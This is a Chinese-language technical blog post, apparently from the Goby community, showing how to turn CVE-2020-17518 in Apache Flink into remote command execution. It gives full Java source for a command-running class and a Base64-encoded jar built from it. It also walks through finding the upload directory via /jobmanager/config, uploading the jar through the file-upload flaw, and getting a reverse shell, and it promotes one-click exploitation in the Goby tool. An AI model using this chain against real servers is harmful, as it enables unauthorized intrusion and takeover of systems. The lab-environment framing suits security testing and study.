其他
技术分享 | 从CVE-2020-17518到一键Getshell
使用Vulfocus、Vulhub可一键搭建CVE-2020-17518漏洞环境。
https://github.com/fofapro/vulfocushttps://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518
1.3 更换思路,获取shell
考虑结合先前Flink 1.9.x爆出的部署jar包getshell的思路进行突破。
1.3.1 准备jar包
主要源码如下,用于执行系统命令。
import java.io.File;
import java.util.Scanner;
public class Execute {
public Execute() {
}
public static void main(String[] args) throws Exception {
String o = "";
String cmd = args[0];
ProcessBuilder p;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd});
} else {
String pty = "/bin/sh";
if ((new File("/bin/bash")).exists()) {
pty = "/bin/bash";
}
p = new ProcessBuilder(new String[]{pty, "-c", cmd});
}
Process s = p.start();
Scanner c = (new Scanner(s.getInputStream())).useDelimiter("\\A");
c.close();
}
}
将源码编译并打包为jar包,下面为打包好的jar包转码为Base64编码。
UEsDBBQAAAAIAASBJlLHe4y+9gIAAOgEAAANAAAARXhlY3V0ZS5jbGFzc21Uy1bUQBC9zTwSQnhFBEZ8gAoOCIwiKgKivEWGhwbRATaZ0AcCMwkmPQIbN/oTfIFrNoNHjn6Av+MatToqLycn6UpX3Vt1q7uT7z+/fAPQixUNTehQcVtFp4YudGsoR0rFHWnvKuhRcE9Fr4r7GlQ8UPFQQZ+KRxqq0C+HARWDMvRYwZCGJ3iqoQ7DKkakHZXDmIJxBRMM8UHHdcQQQyTZvsgQHfVWOUN12nH5bCGf5f6Clc1xCuQtx2WoTy6nN6x3VipnuWspU/iOuzYgiZWmsOzNGWsrxJNABZOklEEb37H5lnA8N1DwjOamV/BtPuHIrPr4DrcLgnfLnDou4woDGBQv6HatPKWZ0vEc0zrSmCGJ246rYxZzDI0nIuZ9z+ZBMFJwcqvcZ6g5r4/y2fnVbr5DBctStizTQr5U1nFTwTqJCAmOl/qjqTwMZK1gXSLndbzASyJ2EdHEAkNtCC8IJ5cybct1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ink运行时文件都在/tmp目录下,路径类似于
/tmp/flink-web-xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/
每台服务器运行Flink时路径都不同,因此要先获取该路径。
通过接口 /jobmanager/config 则可以获取web.tmpdir的路径。
1.3.3 上传jar包
通过拼接路径,结合CVE-2020-17518漏洞即可上传jar包到/tmp/flink-web-f4aee131-987b-46d7-91af-754464a230b2/flink-web-upload/目录下。
1.3.4 执行命令,反弹shell
使用Goby一键Getshell
Goby超级内测版本 Beta 1.8.236 已支持利用该漏洞。
• mojie | 如何在Goby发布新版前拥有S2-061EXP
• Alert | 利用Goby远程管控siemens-PLC设备
如果表哥/表姐也想把自己上交给社区(Goby介绍/扫描/口令爆破/漏洞利用/插件开发/PoC编写等文章均可)